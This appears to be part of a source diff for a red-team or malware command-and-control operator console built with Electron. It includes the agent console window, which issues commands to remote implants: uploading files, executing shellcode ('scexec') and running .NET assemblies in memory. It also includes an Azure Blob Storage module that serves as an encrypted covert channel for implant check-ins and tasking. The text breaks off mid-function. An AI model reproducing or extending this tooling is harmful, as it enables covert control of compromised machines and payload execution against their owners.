command = `upload ${uploadblob} ${destFilePath}`;
|
||||
containerCmd.cmd = command;
|
||||
upload = true;
|
||||
}else{
|
||||
argsAmountError = true;
|
||||
}
|
||||
}
|
||||
if (argv[0] == "scexec")
|
||||
{
|
||||
if (argv.length == 2) {
|
||||
scfile = argv[1];
|
||||
scblob = 'sc'+generateUUID(10);
|
||||
command = `scexec ${scblob}`;
|
||||
containerCmd.cmd = command;
|
||||
scexec_upload = true;
|
||||
}else{
|
||||
argsAmountError = true;
|
||||
}
|
||||
}
|
||||
if (argv[0] == "assembly")
|
||||
{
|
||||
if (argv.length > 1) {
|
||||
scfile = argv[1];
|
||||
let args = argv.slice(2).join(' ');;
|
||||
log(`args string : ${args}`);
|
||||
scblob = 'sc'+generateUUID(10);
|
||||
command = `assembly ${scblob} ${args}`;
|
||||
containerCmd.cmd = command;
|
||||
assembly_upload = true;
|
||||
}else{
|
||||
argsAmountError = true;
|
||||
}
|
||||
}
|
||||
|
||||
if (argsAmountError == true)
|
||||
{
|
||||
let ArgsError = `Incorrect amount of arguments supplied to ${argv[0]} command`;
|
||||
let commandHelp = getHelpInfo(argv[0]);
|
||||
printToConsole(ArgsError);
|
||||
printToConsole(commandHelp);
|
||||
input.value = '';
|
||||
closeDropdown();
|
||||
return;
|
||||
}
|
||||
|
||||
log(`Sending command ${command}`);
|
||||
printToConsole(`${PSString}$ ${command}`);
|
||||
input.value = '';
|
||||
|
||||
if(upload)
|
||||
{
|
||||
printToConsole(`Uploading operator ${uploadfile} file to blob ${uploadblob}`);
|
||||
ipcRenderer.send('upload-file-to-blob', JSON.stringify(containerCmd),uploadfile,uploadblob); // Send command and container name
|
||||
}else if ( assembly_upload)
|
||||
{
|
||||
printToConsole(`Uploading operator ${scfile} assembly file to blob ${scblob}`);
|
||||
ipcRenderer.send('upload-sc-to-blob', JSON.stringify(containerCmd),scfile,scblob); // Send command and container name
|
||||
}else if ( scexec_upload)
|
||||
{
|
||||
printToConsole(`Uploading operator ${scfile} shellcode file to blob ${scblob}`);
|
||||
ipcRenderer.send('upload-sc-to-blob', JSON.stringify(containerCmd),scfile,scblob); // Send command and container name
|
||||
}else
|
||||
{
|
||||
//ipcRenderer.send('execute-command', { command, containerName }); // Send IPC message to kernel.js for all commands
|
||||
log(`agent-window.js : IPC : upload-client-command-to-input-channel`);
|
||||
log(`containerCmd : \r\n${JSON.stringify(containerCmd)}`);
|
||||
ipcRenderer.send('upload-client-command-to-input-channel', JSON.stringify(containerCmd)); // Send command and container name
|
||||
closeDropdown();
|
||||
}
|
||||
}catch(error)
|
||||
{
|
||||
log(`[!] Error in sendCommand from agent window ${error} ${error.stack}`);
|
||||
}
|
||||
}
|
||||
|
||||
ipcRenderer.on('send-upload-command', (event, containerCmd) =>
|
||||
{
|
||||
try
|
||||
{
|
||||
printToConsole(`[+] Completed uploading operator file to blob`);
|
||||
ipcRenderer.send('upload-client-command-to-input-channel', containerCmd);
|
||||
}catch(error)
|
||||
{
|
||||
log(error);
|
||||
}
|
||||
});
|
||||
|
||||
async function printToConsole(message, logToFileFlag = true) {
|
||||
try {
|
||||
const consoleOutput = document.getElementById('consoleOutput');
|
||||
const newLine = document.createElement('div');
|
||||
newLine.innerHTML = message; // Use innerHTML to handle colored text
|
||||
consoleOutput.appendChild(newLine);
|
||||
consoleOutput.scrollTop = consoleOutput.scrollHeight;
|
||||
|
||||
// Construct log file path
|
||||
let agent_log_name = `${pid_log}-${user_log}-${agentid_log}.log`;
|
||||
const logFile = path.join(directories.logDir, agent_log_name);
|
||||
|
||||
// Only log to file if flag is true
|
||||
if (logToFileFlag) {
|
||||
logToFile(logFile, `${message}\r\n`);
|
||||
}
|
||||
} catch (error) {
|
||||
console.error(`Error in printToConsole: ${error.message}\n${error.stack}`);
|
||||
}
|
||||
}
|
||||
|
||||
function loadPreviousLogs() {
|
||||
try {
|
||||
let agent_log_name = `${pid_log}-${user_log}-${agentid_log}.log`;
|
||||
const logFile = path.join(directories.logDir, agent_log_name);
|
||||
log(`logfile : ${logFile}`);
|
||||
|
||||
if (fs.existsSync(logFile)) {
|
||||
log(`Loading previous logs from ${logFile}`);
|
||||
|
||||
// Read log file contents
|
||||
const logs = fs.readFileSync(logFile, 'utf8');
|
||||
|
||||
// Process each line
|
||||
logs.split('\n').forEach(line => {
|
||||
let cleanedLine = line.replace(/^\[.*?\]\s*\[.*?\]\s*/, '').trim();
|
||||
|
||||
// Only print non-empty lines
|
||||
if (cleanedLine) {
|
||||
printToConsole(cleanedLine, false); // Prevent re-logging
|
||||
}
|
||||
});
|
||||
} else {
|
||||
log(`No existing log file found for ${logFile}`);
|
||||
}
|
||||
} catch (error) {
|
||||
log(`Error loading previous logs: ${error.message}\n${error.stack}`);
|
||||
}
|
||||
}
|
||||
|
||||
function clearConsole() {
|
||||
const consoleOutput = document.getElementById('consoleOutput');
|
||||
consoleOutput.innerHTML = '';
|
||||
}
|
||||
|
||||
function showDropdown() {
|
||||
const inputLine = document.querySelector('.input-line');
|
||||
const dropdown = document.getElementById('commandDropdown');
|
||||
dropdown.innerHTML = '';
|
||||
// Find the maximum width of suggestions
|
||||
const maxWidth = Math.max(...suggestions.map(s => s.length)) * 8; // approx. 8px per character
|
||||
suggestions.forEach((suggestion, index) => {
|
||||
const item = document.createElement('div');
|
||||
item.textContent = suggestion;
|
||||
item.style.padding = '5px';
|
||||
if (index === currentSuggestionIndex) {
|
||||
item.style.backgroundColor = '#555';
|
||||
item.style.color = '#00ff00';
|
||||
}
|
||||
item.addEventListener('click', () => {
|
||||
const input = document.getElementById('consoleInput');
|
||||
input.value = suggestion;
|
||||
input.focus();
|
||||
closeDropdown();
|
||||
});
|
||||
dropdown.appendChild(item);
|
||||
});
|
||||
dropdown.style.display = suggestions.length ? 'block' : 'none';
|
||||
const rect = inputLine.getBoundingClientRect();
|
||||
dropdown.style.top = `${rect.bottom}px`;
|
||||
dropdown.style.left = `${rect.left}px`;
|
||||
dropdown.style.width = `${maxWidth + 20}px`; // Add some padding to the width
|
||||
dropdown.style.whiteSpace = 'nowrap'; // Ensure text does not wrap
|
||||
if (rect.bottom + dropdown.offsetHeight > window.innerHeight) {
|
||||
dropdown.style.top = `${rect.top - dropdown.offsetHeight}px`;
|
||||
}
|
||||
}
|
||||
|
||||
function closeDropdown() {
|
||||
const dropdown = document.getElementById('commandDropdown');
|
||||
dropdown.innerHTML = '';
|
||||
dropdown.style.display = 'none';
|
||||
currentSuggestionIndex = -1;
|
||||
}
|
||||
|
||||
function handleInput(event) {
|
||||
const input = event.target.value;
|
||||
if (input) {
|
||||
suggestions = commands.filter(command => command.startsWith(input));
|
||||
currentSuggestionIndex = -1;
|
||||
showDropdown();
|
||||
} else {
|
||||
suggestions = commands;
|
||||
showDropdown();
|
||||
}
|
||||
}
|
||||
|
||||
function handleTabCompletion(event) {
|
||||
event.preventDefault();
|
||||
if (suggestions.length > 0) {
|
||||
currentSuggestionIndex = (currentSuggestionIndex + 1) % suggestions.length;
|
||||
showDropdown();
|
||||
const input = document.getElementById('consoleInput');
|
||||
input.value = suggestions[currentSuggestionIndex];
|
||||
}
|
||||
}
|
||||
|
||||
window.addEventListener('DOMContentLoaded', async () =>
|
||||
{
|
||||
ipcRenderer.on('container-data', (event, name, aes, blobs, agentJson) =>
|
||||
{
|
||||
try{
|
||||
containerName = name;
|
||||
containerKey = JSON.stringify(aes);
|
||||
containerBlob = JSON.stringify(blobs);
|
||||
agent = JSON.parse(agentJson);
|
||||
agentObj = agent;
|
||||
|
||||
document.title = `${agent.agentid.toUpperCase()} | ${agent.hostname.toUpperCase()} | ${agent.username.toUpperCase()} | ${agent.IP}`;
|
||||
|
||||
const input = document.getElementById('consoleInput');
|
||||
input.focus();
|
||||
input.selectionStart = input.selectionEnd = input.value.length; // Ensure cursor is at the end of input
|
||||
}catch(error)
|
||||
{
|
||||
log(error);
|
||||
}
|
||||
});
|
||||
ipcRenderer.on('agent-checkin', (event, checkin_data) =>
|
||||
{
|
||||
try
|
||||
{
|
||||
printToConsole(`Checkin Data : ${checkin_data}`);
|
||||
}catch(error)
|
||||
{
|
||||
log(error);
|
||||
}
|
||||
});
|
||||
|
||||
ipcRenderer.on('command-result', (event, result) => {
|
||||
printToConsole(result);
|
||||
});
|
||||
|
||||
const input = document.getElementById('consoleInput');
|
||||
input.addEventListener('keydown', (event) => {
|
||||
if (event.key === 'Enter') {
|
||||
log(`Sending Enter key press event`);
|
||||
sendCommand();
|
||||
} else if (event.key === 'Tab') {
|
||||
handleTabCompletion(event);
|
||||
} else if (event.ctrlKey && event.key === 'l') {
|
||||
event.preventDefault();
|
||||
clearConsole();
|
||||
} else if (event.key === 'ArrowUp') {
|
||||
if (currentCommandIndex > 0) {
|
||||
currentCommandIndex--;
|
||||
input.value = commandHistory[currentCommandIndex];
|
||||
} else if (currentCommandIndex === 0) {
|
||||
input.value = commandHistory[currentCommandIndex];
|
||||
}
|
||||
event.preventDefault();
|
||||
} else if (event.key === 'ArrowDown') {
|
||||
if (currentCommandIndex < commandHistory.length - 1) {
|
||||
currentCommandIndex++;
|
||||
input.value = commandHistory[currentCommandIndex];
|
||||
} else if (currentCommandIndex === commandHistory.length - 1) {
|
||||
currentCommandIndex++;
|
||||
input.value = '';
|
||||
}
|
||||
event.preventDefault();
|
||||
}
|
||||
});
|
||||
input.addEventListener('input', handleInput);
|
||||
input.focus();
|
||||
input.selectionStart = input.selectionEnd = input.value.length; // Ensure cursor is at the end of input
|
||||
|
||||
// Enable macOS shortcuts (`Cmd+C`, `Cmd+V`) and Windows/Linux (`Ctrl+C`, `Ctrl+V`)
|
||||
document.addEventListener('keydown', function (event) {
|
||||
if ((event.ctrlKey || event.metaKey) && event.key === 'c') {
|
||||
ipcRenderer.send('copy');
|
||||
event.preventDefault();
|
||||
}
|
||||
if ((event.ctrlKey || event.metaKey) && event.key === 'v') {
|
||||
ipcRenderer.send('paste');
|
||||
event.preventDefault();
|
||||
}
|
||||
if ((event.ctrlKey || event.metaKey) && event.key === 'x') {
|
||||
ipcRenderer.send('cut');
|
||||
event.preventDefault();
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
async function updateTable() {
|
||||
try {
|
||||
//logToFile("sent IPC for get-containers");
|
||||
const agentTable = document.getElementById('agentTable').getElementsByTagName('tbody')[0];
|
||||
//log(`updateTable in agent window, agentid : ${agent.agentid}`);
|
||||
let agentid = agent.agentid;
|
||||
window_agentid = agentid;
|
||||
let agentcheckin = await ipcRenderer.invoke('get-agent-checkin',agentid);
|
||||
|
||||
//log(agentcheckin);
|
||||
//log(`agentcheckin : ${agentcheckin}`);
|
||||
if(agentcheckin)
|
||||
{
|
||||
agentcheckin = JSON.parse(agentcheckin);
|
||||
|
||||
const filePath = agentcheckin.Process.trim(); // Ensure the string is clean
|
||||
//logMain(`Original Path: ${filePath}`);
|
||||
let fileName;
|
||||
// Detect which type of path is present and use the appropriate method
|
||||
if (filePath.includes("\\") && !filePath.includes("/")) {
|
||||
// Windows-style path (only backslashes)
|
||||
fileName = path.win32.basename(filePath);
|
||||
} else if (filePath.includes("/") && !filePath.includes("\\")) {
|
||||
// macOS/Linux-style path (only forward slashes)
|
||||
fileName = path.posix.basename(filePath);
|
||||
} else {
|
||||
// Mixed slashes case (or unknown)
|
||||
fileName = filePath.split(/[/\\]/).pop(); // Manually extract filename
|
||||
}
|
||||
// Clear the existing rows
|
||||
for (let row of agentTable.rows) {
|
||||
let platformName = agentcheckin.platform; // Default to the original value
|
||||
if (agent.platform === "darwin") {
|
||||
platformName = "macOS";
|
||||
} else if (agent.platform === "win32") {
|
||||
platformName = "Windows";
|
||||
} else if (agent.platform === "linux") {
|
||||
platformName = "Linux";
|
||||
}
|
||||
row.cells[0].textContent = agentcheckin.agentid;
|
||||
row.cells[1].textContent = agentcheckin.hostname;
|
||||
row.cells[2].textContent = agentcheckin.username;
|
||||
row.cells[3].textContent = fileName;
|
||||
row.cells[4].textContent = agentcheckin.PID;
|
||||
row.cells[5].textContent = agentcheckin.IP;
|
||||
row.cells[6].textContent = agentcheckin.arch;
|
||||
row.cells[7].textContent = platformName;
|
||||
row.cells[8].textContent = timeDifference(agentcheckin.input_checkin);
|
||||
agentid_log = agentcheckin.agentid;
|
||||
user_log = agentcheckin.username;
|
||||
pid_log = agentcheckin.PID;
|
||||
}
|
||||
if(global.historyload === false)
|
||||
{
|
||||
log(`Loading previous command history`);
|
||||
global.historyload = true;
|
||||
loadPreviousLogs();
|
||||
}
|
||||
global.inputload = true;
|
||||
}
|
||||
|
||||
// Initial table update
|
||||
}catch(error)
|
||||
{
|
||||
log(`${error} ${error.stack}`);
|
||||
}
|
||||
}
|
||||
|
||||
// Update the table every second
|
||||
setInterval(updateTable, 1000);
|
||||
|
||||
ipcRenderer.on('command-output', (event, output) => {
|
||||
try
|
||||
{
|
||||
if(output)
|
||||
{
|
||||
printToConsole(output);
|
||||
}
|
||||
}catch (error) {
|
||||
log(`Error in ipcRender(delete-old-container): ${error.message}\r\n${error.stack}`);
|
||||
}
|
||||
});
|
||||
|
||||
ipcRenderer.on('window-closing', async () => {
|
||||
try{
|
||||
log(`agent-window.js : IPC window-closing`);
|
||||
log(`agentid: ${window_agentid}`);
|
||||
ipcRenderer.send('force-close',window_agentid); // Notify main process to force close
|
||||
}
|
||||
catch (error) {
|
||||
log(`Error in ipcRender(delete-old-container): ${error.message}\r\n${error.stack}`);
|
||||
}
|
||||
});
|
||||
|
||||
// window.onload = loadPreviousLogs;
|
||||
|
||||
document.addEventListener("keydown", function(event) {
|
||||
const consoleInput = document.getElementById("consoleInput");
|
||||
|
||||
if (!consoleInput) return; // Ensure element exists
|
||||
|
||||
const isCtrlOrMeta = event.ctrlKey || event.metaKey;
|
||||
const isAlt = event.altKey;
|
||||
|
||||
if (isCtrlOrMeta) {
|
||||
switch (event.key.toLowerCase()) {
|
||||
|
||||
case "a": // Select all
|
||||
event.preventDefault();
|
||||
consoleInput.select();
|
||||
log("Selected all text in consoleInput");
|
||||
break;
|
||||
|
||||
case "arrowleft": // Move cursor back one word
|
||||
event.preventDefault();
|
||||
moveCursorByWord(consoleInput, "left");
|
||||
log("Moved cursor back one word");
|
||||
break;
|
||||
|
||||
case "arrowright": // Move cursor forward one word
|
||||
event.preventDefault();
|
||||
moveCursorByWord(consoleInput, "right");
|
||||
log("Moved cursor forward one word");
|
||||
break;
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
// Function to move cursor by one word
|
||||
function moveCursorByWord(input, direction) {
|
||||
let pos = input.selectionStart;
|
||||
let value = input.value;
|
||||
|
||||
if (direction === "left") {
|
||||
while (pos > 0 && value[pos - 1] === " ") pos--; // Skip spaces
|
||||
while (pos > 0 && value[pos - 1] !== " ") pos--; // Move to start of the word
|
||||
} else if (direction === "right") {
|
||||
while (pos < value.length && value[pos] === " ") pos++; // Skip spaces
|
||||
while (pos < value.length && value[pos] !== " ") pos++; // Move to end of the word
|
||||
}
|
||||
|
||||
input.selectionStart = input.selectionEnd = pos;
|
||||
}
|
||||
@@ -0,0 +1,36 @@
|
||||
class Container
|
||||
{
|
||||
constructor(name, key = {}, blobs = {})
|
||||
{
|
||||
this.name = null || name;
|
||||
this.key = {} || key;
|
||||
this.blobs = {} || blobs;
|
||||
}
|
||||
|
||||
setName(name) {
|
||||
this.name = name;
|
||||
}
|
||||
setKey(key) {
|
||||
this.key = {
|
||||
'key' : key.key,
|
||||
'iv' : key.iv
|
||||
};
|
||||
}
|
||||
}
|
||||
|
||||
class Agent
|
||||
{
|
||||
constructor(agentId, containerObject)
|
||||
{
|
||||
this.agentid = null || agentId;
|
||||
this.container = null || containerObject;
|
||||
this.BrowserWindow = null;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
|
||||
module.exports = {
|
||||
Container,
|
||||
Agent
|
||||
};
|
||||
|
After Width: | Height: | Size: 427 KiB |
|
After Width: | Height: | Size: 521 KiB |
|
After Width: | Height: | Size: 155 KiB |
|
After Width: | Height: | Size: 385 KiB |
|
After Width: | Height: | Size: 52 KiB |
@@ -0,0 +1,779 @@
|
||||
const { BlobServiceClient } = require('@azure/storage-blob');
|
||||
const path = require('path');
|
||||
const crypto = require('crypto');
|
||||
const https = require('https');
|
||||
const fs = require('fs'); // Use synchronous fs module for createWriteStream
|
||||
const fsp = require('fs').promises;
|
||||
const { log } = require('console');
|
||||
const { getAppDataDir } = require('./common');
|
||||
const directories = getAppDataDir();
|
||||
const logFile = path.join(directories.downloadsDir, 'azure.js.log');
|
||||
let config = require(directories.configFilePath);
|
||||
|
||||
|
||||
// const StorageAccount = config.storageAccount;
|
||||
// const sasToken = config.sasToken;
|
||||
// const blobServiceClient = new BlobServiceClient(`https://${StorageAccount}?${sasToken}`);
|
||||
|
||||
function logToFile(message)
|
||||
{
|
||||
const timestamp = new Date().toISOString();
|
||||
fs.appendFileSync(logFile, `[${timestamp}] ${message}\n`);
|
||||
}
|
||||
|
||||
function clearLogFile()
|
||||
{
|
||||
// Open the file in write mode and truncate it
|
||||
fs.writeFile(logFile, '', (err) => {
|
||||
if (err) {
|
||||
console.error(`Error clearing log file: ${err.message}`);
|
||||
} else {
|
||||
console.log(`Log file at ${logFile} has been cleared.`);
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
// Function to decode a base64 string
|
||||
function decodeBase64(base64) {
|
||||
// Create a buffer from the base64 encoded string
|
||||
const buffer = Buffer.from(base64, 'base64');
|
||||
// Convert the buffer to a utf-8 string
|
||||
const decoded = buffer.toString('utf-8');
|
||||
return decoded;
|
||||
}
|
||||
// Function to encode a string to base64
|
||||
function encodeBase64(input) {
|
||||
// Create a buffer from the input string
|
||||
const buffer = Buffer.from(input, 'utf-8');
|
||||
// Convert the buffer to a base64 encoded string
|
||||
const base64 = buffer.toString('base64');
|
||||
return base64;
|
||||
}
|
||||
// Function to AES encrypt data with a static key and IV
|
||||
async function aesEncrypt(data,key,iv) {
|
||||
const cipher = crypto.createCipheriv('aes-256-cbc', key, iv);
|
||||
|
||||
let encrypted = "";
|
||||
if ( Buffer.isBuffer( data ) ) {
|
||||
encrypted = Buffer.concat([cipher.update(data), cipher.final()]);
|
||||
}
|
||||
else {
|
||||
encrypted = cipher.update(data, 'utf8', 'hex');
|
||||
encrypted += cipher.final('hex');
|
||||
}
|
||||
return encrypted;
|
||||
}
|
||||
// Function to AES decrypt data with a static key and IV
|
||||
async function aesDecrypt(encryptedData, key, iv) {
|
||||
// const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv);
|
||||
// let decrypted = decipher.update(encryptedData, 'hex', 'utf8');
|
||||
// decrypted += decipher.final('utf8');
|
||||
// return decrypted;
|
||||
const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv);
|
||||
|
||||
let decrypted = "";
|
||||
if ( Buffer.isBuffer( encryptedData ) ) {
|
||||
decrypted = Buffer.concat([decipher.update(encryptedData), decipher.final()]);
|
||||
}
|
||||
else {
|
||||
decrypted = decipher.update(encryptedData, 'hex', 'utf8');
|
||||
decrypted += decipher.final('utf8');
|
||||
}
|
||||
return decrypted;
|
||||
}
|
||||
async function DeleteStorageContainer(StorageContainer,config)
|
||||
{
|
||||
let StorageAccount = config.storageAccount;
|
||||
let sasToken = config.sasToken;
|
||||
let blobServiceClient = new BlobServiceClient(`https://${StorageAccount}?${sasToken}`);
|
||||
|
||||
let options = {
|
||||
hostname: StorageAccount,
|
||||
port: 443,
|
||||
path: `/${StorageContainer}?restype=container&${sasToken}`,
|
||||
method: 'DELETE',
|
||||
headers: {
|
||||
'x-ms-version': '2020-04-08', // The version of the Azure Blob Storage API to use
|
||||
'x-ms-date': new Date().toUTCString() // The current date and time in UTC format
|
||||
}
|
||||
};
|
||||
//common.logToFile('HTTP request options :',options);
|
||||
|
||||
return await makeRequest(options);
|
||||
}
|
||||
async function DeleteStorageBlob(StorageContainer,StorageBlob,config)
|
||||
{
|
||||
let StorageAccount = config.storageAccount;
|
||||
let sasToken = config.sasToken;
|
||||
let blobServiceClient = new BlobServiceClient(`https://${StorageAccount}?${sasToken}`);
|
||||
|
||||
//log(`DeleteStorageBlob() : path : /${StorageContainer}/${StorageBlob}?${sasToken}`);
|
||||
|
||||
let options = {
|
||||
hostname: StorageAccount,
|
||||
port: 443,
|
||||
path: `/${StorageContainer}/${StorageBlob}?${sasToken}`,
|
||||
method: 'DELETE',
|
||||
headers: {
|
||||
'x-ms-version': '2020-04-08', // The version of the Azure Blob Storage API to use
|
||||
}
|
||||
};
|
||||
|
||||
return await makeRequest(options);
|
||||
}
|
||||
async function preloadContainers(metaContainer,config)
|
||||
{
|
||||
let StorageAccount = config.storageAccount;
|
||||
let sasToken = config.sasToken;
|
||||
let blobServiceClient = new BlobServiceClient(`https://${StorageAccount}?${sasToken}`);
|
||||
let meta_agent_container_info = [];
|
||||
try {
|
||||
//console.log(`Listing Agent blobs in metaContainer: ${metaContainer}`);
|
||||
|
||||
const containerClient = blobServiceClient.getContainerClient(metaContainer);
|
||||
let i = 1;
|
||||
for await (const blob of containerClient.listBlobsFlat()) {
|
||||
try
|
||||
{
|
||||
let agent_blob = blob.name;
|
||||
//console.log(`Agent Blob ${i++}: ${agent_blob}`);
|
||||
let agent_container = await readBlob(metaContainer,agent_blob,config);
|
||||
if(agent_container.statusCode == 200)
|
||||
{
|
||||
let this_agent_info = {
|
||||
'agentid':agent_blob,
|
||||
'containerid':agent_container['data']
|
||||
}
|
||||
meta_agent_container_info.push(this_agent_info);
|
||||
}
|
||||
}catch(error)
|
||||
{
|
||||
console.log(`Failed to get agent container ${error.stack}`);
|
||||
}
|
||||
}
|
||||
//console.log(`metablobs : ${JSON.stringify(metablobs)}`);
|
||||
return JSON.stringify(meta_agent_container_info);
|
||||
} catch (error) {
|
||||
//console.error(`Error listing blobs in meta container: ${error.message} ${error.stack}`);
|
||||
//return metablobs;
|
||||
//return JSON.stringify(meta_agent_container_info);
|
||||
return null;
|
||||
}
|
||||
}
|
||||
async function listBlobsInContainer(containerName,config)
|
||||
{
|
||||
let StorageAccount = config.storageAccount;
|
||||
let sasToken = config.sasToken;
|
||||
let blobServiceClient = new BlobServiceClient(`https://${StorageAccount}?${sasToken}`);
|
||||
|
||||
let metablobs = {};
|
||||
let agentcheckins = [];
|
||||
try {
|
||||
//console.log(`Listing blobs in container: ${containerName}`);
|
||||
|
||||
const containerClient = blobServiceClient.getContainerClient(containerName);
|
||||
let i = 1;
|
||||
for await (const blob of containerClient.listBlobsFlat()) {
|
||||
try
|
||||
{
|
||||
//console.log(`Blob ${i++}: ${blob.name}`);
|
||||
let blobresp = await readBlob(containerName,blob.name,config);
|
||||
//log(`[${i}] ${blob.name} : ${blobresp.data}`);
|
||||
i++;
|
||||
if(blobresp.statusCode == 200)
|
||||
{
|
||||
let agent_container_id = blobresp.data;
|
||||
let this_agent_blobs = await getContainerBlobs(agent_container_id,config);
|
||||
if (this_agent_blobs)
|
||||
{
|
||||
//console.log(`${agent_container_id} container key blob : ${this_agent_blobs['key']}`);
|
||||
let this_agent_key = await getContainerAesKeys(agent_container_id,this_agent_blobs['key'],config);
|
||||
let checkinData = await checkinContainer(agent_container_id, this_agent_key, this_agent_blobs,config);
|
||||
let agentObj = JSON.parse(checkinData);
|
||||
agentObj.agentid = blob.name;
|
||||
agentObj.containerid = agent_container_id;
|
||||
let inputcheckinblob = await readBlob(agent_container_id,this_agent_blobs['in'],config );
|
||||
const numberValue = Number(inputcheckinblob.data);
|
||||
//console.log(`${this_agent_blobs['in']} Input channel response : ${inputcheckinblob.data} | timestamp : ${numberValue}`);
|
||||
if (!isNaN(numberValue))
|
||||
{
|
||||
agentObj.checkIn = numberValue;
|
||||
}else
|
||||
{
|
||||
agentcheckin.input_checkin = Date.now()-2000; // getting update timestamp from input channel. So if we poll the channel while input is in pipe it gives NaN
|
||||
}
|
||||
//checkinObj[blob.name] = agent_container_id;
|
||||
//let agent_checkin = JSON.parse(checkinContainer(agent_container_id, this_agent_key, this_agent_blobs));
|
||||
//console.log(JSON.stringify(agentObj));
|
||||
agentcheckins.push(agentObj);
|
||||
}else
|
||||
{
|
||||
// console.log(`Error : ${blob.name} did not exist. Deleting.`);
|
||||
// let deleteresp = await DeleteStorageBlob(containerName,blob.name,config);
|
||||
//console.log(`Delete response : ${deleteresp.statusCode} .`);
|
||||
}
|
||||
}
|
||||
}catch(error)
|
||||
{
|
||||
//console.log(`Failed to get checkin from listed agent container ${error.stack}`);
|
||||
}
|
||||
}
|
||||
//console.log(`metablobs : ${JSON.stringify(metablobs)}`);
|
||||
return JSON.stringify(agentcheckins);
|
||||
} catch (error) {
|
||||
console.error(`Error listing blobs in container ${containerName}: ${error.message} ${error.stack}\n ${JSON.stringify(agentcheckins)}`);
|
||||
//return metablobs;
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
async function returnAgentCheckinInfo(containerName,agentid,config)
|
||||
{
|
||||
let StorageAccount = config.storageAccount;
|
||||
let sasToken = config.sasToken;
|
||||
let blobServiceClient = new BlobServiceClient(`https://${StorageAccount}?${sasToken}`);
|
||||
|
||||
let agentcheckin;
|
||||
// console.log(`returnAgentCheckinInfo | containerName : ${containerName} & agentid : ${agentid}`);
|
||||
try {
|
||||
//console.log(`Listing blobs in container: ${containerName}`);
|
||||
|
||||
const containerClient = blobServiceClient.getContainerClient(containerName);
|
||||
let i = 1;
|
||||
for await (const blob of containerClient.listBlobsFlat()) {
|
||||
//console.log(`Blob ${i++}: ${blob.name}`);
|
||||
if (blob.name == agentid)
|
||||
{
|
||||
// console.log(`Matched agentid ${agentid} to active blob ${containerName}/${blob.name}`);
|
||||
let blobresp = await readBlob(containerName,blob.name,config);
|
||||
let agent_container_id = blobresp.data;
|
||||
//console.log(`${blob.name} blob data : ${agent_container_id}`);
|
||||
let this_agent_blobs = await getContainerBlobs(agent_container_id,config);
|
||||
//console.log(`${agent_container_id} container key blob : ${this_agent_blobs['key']}`);
|
||||
let this_agent_key = await getContainerAesKeys(agent_container_id,this_agent_blobs['key'],config);
|
||||
let checkinData = await checkinContainer(agent_container_id, this_agent_key, this_agent_blobs,config);
|
||||
|
||||
// console.log(`checkin Data : ${checkinData}`);
|
||||
agentcheckin = JSON.parse(checkinData);
|
||||
//console.log(JSON.stringify(agentcheckin));
|
||||
let inputcheckinblob = await readBlob(agent_container_id,this_agent_blobs['in'],config );
|
||||
const numberValue = Number(inputcheckinblob.data);
|
||||
//console.log(`${this_agent_blobs['in']} Input channel response : ${inputcheckinblob.data} | timestamp : ${numberValue}`);
|
||||
if (!isNaN(numberValue))
|
||||
{
|
||||
agentcheckin.input_checkin = numberValue;
|
||||
}else
|
||||
{
|
||||
agentcheckin.input_checkin = Date.now()-2000; // getting update timestamp from input channel. So if we poll the channel while input is in pipe it gives NaN
|
||||
}
|
||||
agentcheckin.agentid = blob.name;
|
||||
agentcheckin.containerid = agent_container_id;
|
||||
//checkinObj[blob.name] = agent_container_id;
|
||||
//let agent_checkin = JSON.parse(checkinContainer(agent_container_id, this_agent_key, this_agent_blobs));
|
||||
//console.log(JSON.stringify(agentcheckin));
|
||||
}
|
||||
}
|
||||
//console.log(`metablobs : ${JSON.stringify(metablobs)}`);
|
||||
return JSON.stringify(agentcheckin);
|
||||
} catch (error) {
|
||||
console.error(`returnAgentCheckinInfo() | Error listing blobs in container ${containerName}:`, error.message, error.stack);
|
||||
}
|
||||
}
|
||||
// Helper function to make an HTTPS request and return a Promise
|
||||
function makeRequest(options, data = null) {
|
||||
return new Promise((resolve, reject) => {
|
||||
const req = https.request(options, (res) => {
|
||||
let responseData = '';
|
||||
|
||||
res.on('data', (chunk) => {
|
||||
responseData += chunk;
|
||||
});
|
||||
|
||||
res.on('end', () => {
|
||||
resolve({ statusCode: res.statusCode, headers: res.headers, data: responseData });
|
||||
});
|
||||
});
|
||||
|
||||
req.on('error', (e) => {
|
||||
reject(e);
|
||||
});
|
||||
|
||||
if (data) {
|
||||
req.write(data);
|
||||
}
|
||||
|
||||
req.end();
|
||||
});
|
||||
}
|
||||
async function UploadBlobToContainer(StorageContainer,StorageBlob,data,config)
|
||||
{
|
||||
let StorageAccount = config.storageAccount;
|
||||
let sasToken = config.sasToken;
|
||||
let blobServiceClient = new BlobServiceClient(`https://${StorageAccount}?${sasToken}`);
|
||||
|
||||
if ( data == null)
|
||||
{
|
||||
data = "";
|
||||
}
|
||||
const options = {
|
||||
hostname: StorageAccount,
|
||||
port: 443,
|
||||
path: `/${StorageContainer}/${StorageBlob}?${sasToken}`, // Path with SAS token and blob parameters
|
||||
method: 'PUT',
|
||||
headers: {
|
||||
'x-ms-version': '2020-02-10', // The version of the Azure Blob Storage API to use
|
||||
'x-ms-date': new Date().toUTCString(), // The current date and time in UTC format
|
||||
'x-ms-blob-type': 'BlockBlob', // Blob type
|
||||
'Content-Type': 'text/plain', // Set appropriate content type
|
||||
'Content-Length': Buffer.byteLength(data) // Length of the data
|
||||
}
|
||||
};
|
||||
|
||||
return makeRequest(options,data);
|
||||
|
||||
}
|
||||
// Function to read a blob's contents
|
||||
async function readBlob(StorageContainer, StorageBlob, config) {
|
||||
try {
|
||||
let StorageAccount = config.storageAccount;
|
||||
let sasToken = config.sasToken;
|
||||
|
||||
const options = {
|
||||
hostname: StorageAccount,
|
||||
port: 443,
|
||||
path: `/${StorageContainer}/${StorageBlob}?${sasToken}`,
|
||||
method: 'GET',
|
||||
headers: {
|
||||
'x-ms-version': '2020-02-10',
|
||||
'x-ms-date': new Date().toUTCString()
|
||||
}
|
||||
};
|
||||
|
||||
const response = await makeRequest(options);
|
||||
|
||||
// ✅ Ensure the response contains data and is not empty
|
||||
if (!response || response.length === 0 || response.statusCode === 404) {
|
||||
